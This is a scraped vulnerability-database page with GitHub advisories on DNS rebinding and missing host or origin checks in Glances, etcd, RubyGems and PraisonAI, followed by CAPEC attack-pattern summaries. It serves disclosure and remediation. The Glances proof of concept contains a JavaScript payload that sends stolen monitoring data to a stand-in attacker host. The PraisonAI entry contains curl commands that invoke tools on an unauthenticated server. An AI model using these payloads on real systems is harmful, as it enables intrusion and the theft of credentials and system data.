Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.


Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:31:44Z",
    "nvd_published_at": "2026-06-25T19:16:37Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`, implemented in `glances/server.py`) does not validate the HTTP `Host` header, leaving it vulnerable to DNS rebinding attacks.  CVE-2026-32632 (patched in 4.5.2) added `TrustedHostMiddleware` to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no `allowed-hosts` configuration key.  Combined with the unrestricted `Access-Control-Allow-Origin: *` header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim\u0027s browser.\n\n---\n\n### Details\n\n**Affected component:** `glances/server.py` \u2014 `GlancesXMLRPCHandler` / `GlancesXMLRPCServer`\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py\n\nContrast \u2014 patched backends:\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py\n\nThe `GlancesXMLRPCHandler` class inherits from Python\u0027s `xmlrpc.server.SimpleXMLRPCRequestHandler` and does not override `parse_request()` to inspect or validate the `Host` header.\n\nContrast this with the two other Glances server backends, both of which received host-validation hardening:\n\n**REST / WebUI server** (`glances/outputs/glances_restful_api.py`) \u2014 patched in 4.5.2:\n\n```python\n# glances_restful_api.py\nif self.webui_allowed_hosts:\n    self._app.add_middleware(\n        TrustedHostMiddleware,\n        allowed_hosts=self.webui_allowed_hosts,\n    )\n```\n\n**MCP server** (`glances/outputs/glances_mcp.py`) \u2014 protected since 4.5.1:\n\n```python\n# glances_mcp.py\nTransportSecuritySettings(\n    allowed_hosts=self.mcp_allowed_hosts,\n    ...\n)\n```\n\n**XML-RPC server** (`glances/server.py`) \u2014 no equivalent exists:\n\n```python\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n    # No Host header check; any Host value is accepted\n    rpc_paths = (\u0027/RPC2\u0027,)\n    ...\n```\n\nThere is no `xmlrpc_allowed_hosts` (or equivalent) configuration key in `glances.conf`, and the server ignores the `Host` header on every incoming request.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Server type | Host header          | HTTP status | Data returned |\n|-------------|----------------------|-------------|---------------|\n| XML-RPC     | `attacker.example.com` | 200 OK    | Yes \u2014 VULNERABLE |\n| XML-RPC     | `127.0.0.1:61209`    | 200 OK      | Yes (baseline)   |\n| REST API    | `attacker.example.com` | 400 Bad Request | No \u2014 patched |\n\n---\n\n### PoC\n\n**Attack overview**\n\nDNS rebinding breaks the browser Same-Origin Policy by making `attacker.example.com` temporarily resolve to the target\u0027s IP address (e.g. `127.0.0.1`).  From that point the victim\u0027s browser treats the attacker\u0027s page as same-origin with `http://attacker.example.com:61209/RPC2`, forwarding the attacker-controlled `Host` header to the local Glances XML-RPC server, which accepts it without validation.\n\n**Special configuration required**\n\nNo special `glances.conf` settings are needed.  The vulnerability is present in a default Glances XML-RPC server start (`glances -s`).  For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (`pip install \"glances[web]\"`).\n\n---\n\n**Step 1 \u2014 Start the Glances XML-RPC server**\n\n```bash\nglances -s -p 61209\n```\n\n**Step 2 \u2014 Confirm the server accepts an arbitrary Host header**\n\n```bash\ncurl -s -D - -X POST \"http://127.0.0.1:61209/RPC2\" \\\n     -H \"Host: attacker.example.com\" \\\n     -H \"Content-Type: text/plain\" \\\n     -d \u0027\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\nExpected result (secure): `HTTP/1.0 400 Bad Request`\nActual result: `HTTP/1.0 200 OK` with full XML-RPC response body.\n\n**Step 3 \u2014 Confirm the REST API is patched (comparison)**\n\n```bash\n# Start REST server with the same machine as allowed host:\nglances -w -p 61210 --webui-port 61210\n\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \\\n     \"http://127.0.0.1:61210/api/4/status\" \\\n     -H \"Host: attacker.example.com\"\n# Returns: 400   (TrustedHostMiddleware rejects the spoofed Host)\n```\n\n**Step 4 \u2014 Full DNS rebinding exploitation (real-world path)**\n\n1. Attacker registers `attacker.example.com` with a low-TTL (1 second) DNS record initially pointing to their own server IP.\n2. Attacker serves the following page from `http://attacker.example.com`:\n\n```html\n\u003cscript\u003e\nasync function exfil() {\n  const payload = `\u003c?xml version=\"1.0\"?\u003e\n    \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n  try {\n    const r = await fetch(\u0027http://attacker.example.com:61209/RPC2\u0027, {\n      method:  \u0027POST\u0027,\n      headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n      body:    payload,\n    });\n    const data = await r.text();\n    // data contains: hostname, OS, all processes with cmd-lines, network, disk\n    await fetch(\u0027https://collect.attacker.example.com/?d=\u0027 + btoa(data));\n  } catch (_) {}\n}\n\n// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()\nsetTimeout(exfil, 5000);\n\u003c/script\u003e\n```\n\n3. Victim visits `http://attacker.example.com` in their browser.\n4. After TTL expiry, the attacker\u0027s DNS server responds with `127.0.0.1`.\n5. The browser\u0027s `fetch()` call is sent to `127.0.0.1:61209` with `Host: attacker.example.com`; the XML-RPC server accepts it.\n6. The `Access-Control-Allow-Origin: *` header (see companion advisory) allows the browser to read the response body.\n7. The attacker receives the complete system monitoring snapshot.\n\nTools that simplify DNS rebinding for research/testing include:\n- [Singularity](https://github.com/nccgroup/singularity)\n- [rbndr.us](https://rbndr.us)\n\n**Step 5 \u2014 Confirm absence of Host check in source**\n\n```python\nimport sys, inspect\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nimport glances.server as s\n\nsrc = inspect.getsource(s.GlancesXMLRPCHandler)\nprint(\u0027Host check present:\u0027, \u0027allowed_hosts\u0027 in src or \u0027Host\u0027 in src)\n# Host check present: False\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)\n\n**Who is impacted:** Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page.  This includes deployments where:\n\n- Glances is bound to `127.0.0.1` (loopback) \u2014 DNS rebinding bypasses the loopback restriction.\n- Glances is bound to a LAN IP \u2014 any browser on that LAN is at risk.\n- Glances is exposed on a public IP \u2014 any browser on the internet is at risk.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable remotely without credentials.\n- **Integrity:** None \u2014 read-only XML-RPC API.\n- **Availability:** None \u2014 no denial-of-service component.\n\nThe attack is amplified by the companion CORS wildcard issue (vuln03): without `Access-Control-Allow-Origin: *`, the browser would still block the response read.  Both issues must be fixed together for effective remediation.\n\n---\n\n### Suggested Fix\n\n**Option 1 \u2014 Add Host validation to the XML-RPC handler (preferred)**\n\nAdd a `webui_allowed_hosts` (or new `xmlrpc_allowed_hosts`) configuration key, and validate the `Host` header in `GlancesXMLRPCHandler`:\n\n```python\n# server.py\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n\n    allowed_hosts: list[str] = []   # populated from config\n\n    def parse_request(self) -\u003e bool:\n        if not super().parse_request():\n            return False\n        if self.allowed_hosts:\n            host = self.headers.get(\u0027Host\u0027, \u0027\u0027).split(\u0027:\u0027)[0]\n            if host not in self.allowed_hosts:\n                self.send_error(400, \u0027Bad Request: invalid Host header\u0027)\n                return False\n        return True\n```\n\nPopulate `allowed_hosts` from the existing `webui_allowed_hosts` config key (already used by the REST server), so operators have a single knob.\n\n**Option 2 \u2014 Deprecate and remove the XML-RPC server**\n\nThe XML-RPC server is a legacy interface.  The REST API (`glances -w`) provides a superset of functionality, is actively maintained, and has all current security controls.  Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.\n\n---\n\n### Responsible Disclosure\nThe AFINE Team is committed to responsible / coordinated disclosure.  The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. \n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
  "id": "GHSA-w856-8p3r-p338",
  "modified": "2026-07-21T14:44:26Z",
  "published": "2026-06-22T21:31:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-w856-8p3r-p338"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46611"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-w856-8p3r-p338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2498.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/glances"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack"
}

GHSA-WF43-55JJ-VWQ8

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2021-05-19 22:09
VLAI
Summary
DNS Rebinding in etcd
Details

DNS rebinding vulnerability found in etcd 3.3.1 and earlier. An attacker can control his DNS records to direct to localhost, and trick the browser into sending requests to localhost (or any other address).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.etcd.io/etcd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1099"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-19T22:09:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "DNS rebinding vulnerability found in etcd 3.3.1 and earlier. An attacker can control his DNS records to direct to localhost, and trick the browser into sending requests to localhost (or any other address).",
  "id": "GHSA-wf43-55jj-vwq8",
  "modified": "2021-05-19T22:09:57Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coreos/etcd/issues/9353"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coreos/etcd/commit/a7e5790c82039945639798ae9a3289fe787f5e56"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1552717"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JX7QTIT465BQGRGNCE74RATRQLKT2QE4"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPGYHMSKDPW5GAMI7BEP3XQRVRLLBJKS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DNS Rebinding in etcd"
}

GHSA-WP3J-RVFP-624H

Vulnerability from github – Published: 2022-05-14 01:08 – Updated: 2023-03-10 02:29
VLAI
Summary
RubyGems vulnerable to DNS hijack attack
Details

RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record, aka a "DNS hijack attack."

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rubygems-update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rubygems-update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rubygems-update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-3900"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-10T02:29:09Z",
    "nvd_published_at": "2015-06-24T14:59:00Z",
    "severity": "HIGH"
  },
  "details": "RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record, aka a \"DNS hijack attack.\"",
  "id": "GHSA-wp3j-rvfp-624h",
  "modified": "2023-03-10T02:29:09Z",
  "published": "2022-05-14T01:08:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rubygems-update/CVE-2015-3900.yml"
    },
    {
      "type": "WEB",
      "url": "https://puppet.com/security/cve/CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20170331091241/https://puppet.com/security/cve/CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200228055155/http://www.securityfocus.com/bid/75482"
    },
    {
      "type": "WEB",
      "url": "https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-007/?fid=6356"
    },
    {
      "type": "WEB",
      "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Attacking-Ruby-Gem-Security-with-CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "http://blog.rubygems.org/2015/05/14/CVE-2015-3900.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163502.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163600.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-August/164236.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-1657.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/06/26/2"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinoct2015-2511968.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "RubyGems vulnerable to DNS hijack attack"
}

GHSA-X227-PF99-VFFG

Vulnerability from github – Published: 2026-06-18 13:55 – Updated: 2026-07-20 21:25
VLAI
Summary
PraisonAI: MCP SSE transport binds 0.0.0.0 with no authentication and no Origin validation; bundled SecurityConfig is never wired in
Details

The MCP SSE server started via ToolsMCPServer.run_sse() / launch_tools_mcp_server(transport="sse") binds to 0.0.0.0 by default and builds its Starlette application with no authentication middleware and no Origin-header validation. The module mcp/mcp_security.py provides exactly the needed controls (origin validation, DNS-rebinding detection, auth-header enforcement, a SecurityConfig), but none of these functions are ever called by any transport — they are dead code. Any host that can reach the port can list and invoke every registered tool with no credentials, and a victim's browser can drive the same calls against a localhost instance via DNS rebinding.

Affected code: src/praisonai-agents/praisonaiagents/mcp/mcp_server.py - run_sse defaults host to all interfaces (line 245) and builds the app with only debug and routes - no middleware= and no per-route auth/origin gate (lines ~271-289): app = Starlette(debug=self._debug, routes=[ Route(sse_path, endpoint=handle_sse), # "/sse" Mount(messages_path, app=sse_transport.handle_post_message), # "/messages/" ]) uvicorn.run(app, host=host, port=port) - launch_tools_mcp_server also defaults host="0.0.0.0" (line 301).

src/praisonai-agents/praisonaiagents/mcp/mcp_security.py defines but the transports never call: - is_valid_origin (line 30), is_potential_dns_rebinding (line 110), validate_auth_header (line 167), SecurityConfig.is_origin_allowed (line 236). These symbols are referenced only inside mcp_security.py and the init re-export. (mcp_websocket.py's auth references are CLIENT-side, not server validation.)

Impact: launch_tools_mcp_server(transport="sse") is the documented path for exposing tools over MCP. With the defaults above it is an unauthenticated, network-reachable tool-execution endpoint. Blast radius equals the capabilities of the registered tools; with file/shell/code-exec tools this is RCE. With no Origin check, a malicious page the victim merely visits can rebind its hostname to 127.0.0.1 and issue the JSON-RPC calls cross-origin against a developer's local server.

Proof of concept: Static proof (AST analysis of unmodified source): Check 1 - run_sse(host='0.0.0.0'); launch_tools_mcp_server(host='0.0.0.0') -> EXPOSED Check 2 - Starlette(...) kwargs: ['debug','routes'] -> NO middleware= (no auth/origin gate) Check 3 - is_valid_origin / is_potential_dns_rebinding / validate_auth_header / SecurityConfig never called by any transport -> DEAD CODE Live exploitation against a running server: curl -N http://VICTIM:8080/sse # event: endpoint / data: /messages/?session_id= curl -X POST "http://VICTIM:8080/messages/?session_id=" -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05", "capabilities":{},"clientInfo":{"name":"x","version":"1"}}}' curl -X POST "http://VICTIM:8080/messages/?session_id=" -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"","arguments":{...}}}' No Authorization header anywhere. Browser DNS-rebinding variant drives the same calls cross-origin.

Remediation: Wire in the existing mcp_security.py controls and fix defaults: - Default run_sse(host="127.0.0.1"); require explicit opt-in to bind 0.0.0.0. - Attach Starlette middleware calling is_valid_origin / is_potential_dns_rebinding; reject bad origins. - Enforce validate_auth_header when SecurityConfig.require_auth; default require_auth=True (and allow_missing_origin=False) for any non-loopback bind.

Distinct from prior advisories: The accepted MCP advisories are tool-handler bugs — tools/call path traversal -> .pth RCE (GHSA-9mqq-jqxf-grvw) and unauthenticated file read via workflow.show/validate (GHSA-9cr9-25q5-8prj). This is a transport-layer missing-auth/exposure: the SSE server never enforces auth or Origin validation and ignores the security module the codebase ships. Closest in spirit to the default-insecure pattern (GHSA-8444 / 86qc) but a different server and a different root cause (unwired controls, not an unset env var).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57123"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-306",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:55:54Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "The MCP SSE server started via ToolsMCPServer.run_sse() / launch_tools_mcp_server(transport=\"sse\")\nbinds to 0.0.0.0 by default and builds its Starlette application with no authentication middleware\nand no Origin-header validation. The module mcp/mcp_security.py provides exactly the needed controls\n(origin validation, DNS-rebinding detection, auth-header enforcement, a SecurityConfig), but none of\nthese functions are ever called by any transport \u2014 they are dead code. Any host that can reach the\nport can list and invoke every registered tool with no credentials, and a victim\u0027s browser can drive\nthe same calls against a localhost instance via DNS rebinding.\n\nAffected code: src/praisonai-agents/praisonaiagents/mcp/mcp_server.py\n- run_sse defaults host to all interfaces (line 245) and builds the app with only `debug` and `routes`\n  - no `middleware=` and no per-route auth/origin gate (lines ~271-289):\n      app = Starlette(debug=self._debug, routes=[\n          Route(sse_path, endpoint=handle_sse),                          # \"/sse\"\n          Mount(messages_path, app=sse_transport.handle_post_message),   # \"/messages/\"\n      ])\n      uvicorn.run(app, host=host, port=port)\n- launch_tools_mcp_server also defaults host=\"0.0.0.0\" (line 301).\n\nsrc/praisonai-agents/praisonaiagents/mcp/mcp_security.py defines but the transports never call:\n- is_valid_origin (line 30), is_potential_dns_rebinding (line 110), validate_auth_header (line 167),\n  SecurityConfig.is_origin_allowed (line 236). These symbols are referenced only inside mcp_security.py\n  and the __init__ re-export. (mcp_websocket.py\u0027s auth references are CLIENT-side, not server validation.)\n\nImpact:\nlaunch_tools_mcp_server(transport=\"sse\") is the documented path for exposing tools over MCP. With the\ndefaults above it is an unauthenticated, network-reachable tool-execution endpoint. Blast radius equals\nthe capabilities of the registered tools; with file/shell/code-exec tools this is RCE. With no Origin\ncheck, a malicious page the victim merely visits can rebind its hostname to 127.0.0.1 and issue the\nJSON-RPC calls cross-origin against a developer\u0027s local server.\n\nProof of concept:\nStatic proof (AST analysis of unmodified source):\n  Check 1 - run_sse(host=\u00270.0.0.0\u0027); launch_tools_mcp_server(host=\u00270.0.0.0\u0027)  -\u003e EXPOSED\n  Check 2 - Starlette(...) kwargs: [\u0027debug\u0027,\u0027routes\u0027]  -\u003e NO middleware= (no auth/origin gate)\n  Check 3 - is_valid_origin / is_potential_dns_rebinding / validate_auth_header / SecurityConfig\n            never called by any transport  -\u003e DEAD CODE\nLive exploitation against a running server:\n  curl -N http://VICTIM:8080/sse\n  #   event: endpoint  / data: /messages/?session_id=\u003csid\u003e\n  curl -X POST \"http://VICTIM:8080/messages/?session_id=\u003csid\u003e\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\n         \"capabilities\":{},\"clientInfo\":{\"name\":\"x\",\"version\":\"1\"}}}\u0027\n  curl -X POST \"http://VICTIM:8080/messages/?session_id=\u003csid\u003e\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"\u003ctool\u003e\",\"arguments\":{...}}}\u0027\nNo Authorization header anywhere. Browser DNS-rebinding variant drives the same calls cross-origin.\n\nRemediation:\nWire in the existing mcp_security.py controls and fix defaults:\n- Default run_sse(host=\"127.0.0.1\"); require explicit opt-in to bind 0.0.0.0.\n- Attach Starlette middleware calling is_valid_origin / is_potential_dns_rebinding; reject bad origins.\n- Enforce validate_auth_header when SecurityConfig.require_auth; default require_auth=True (and\n  allow_missing_origin=False) for any non-loopback bind.\n\nDistinct from prior advisories:\nThe accepted MCP advisories are tool-handler bugs \u2014 tools/call path traversal -\u003e .pth RCE\n(GHSA-9mqq-jqxf-grvw) and unauthenticated file read via workflow.show/validate (GHSA-9cr9-25q5-8prj).\nThis is a transport-layer missing-auth/exposure: the SSE server never enforces auth or Origin validation\nand ignores the security module the codebase ships. Closest in spirit to the default-insecure pattern\n(GHSA-8444 / 86qc) but a different server and a different root cause (unwired controls, not an unset env var).",
  "id": "GHSA-x227-pf99-vffg",
  "modified": "2026-07-20T21:25:09Z",
  "published": "2026-06-18T13:55:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x227-pf99-vffg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: MCP SSE transport binds 0.0.0.0 with no authentication and no Origin validation; bundled SecurityConfig is never wired in"
}

Mitigation
Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Mitigation MIT-42
Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-275: DNS Rebinding

An adversary serves content whose IP address is resolved by a DNS server that the adversary controls. After initial contact by a web browser (or similar client), the adversary changes the IP address to which its name resolves, to an address within the target organization that is not publicly accessible. This allows the web browser to examine this internal address on behalf of the adversary.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-89: Pharming

A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.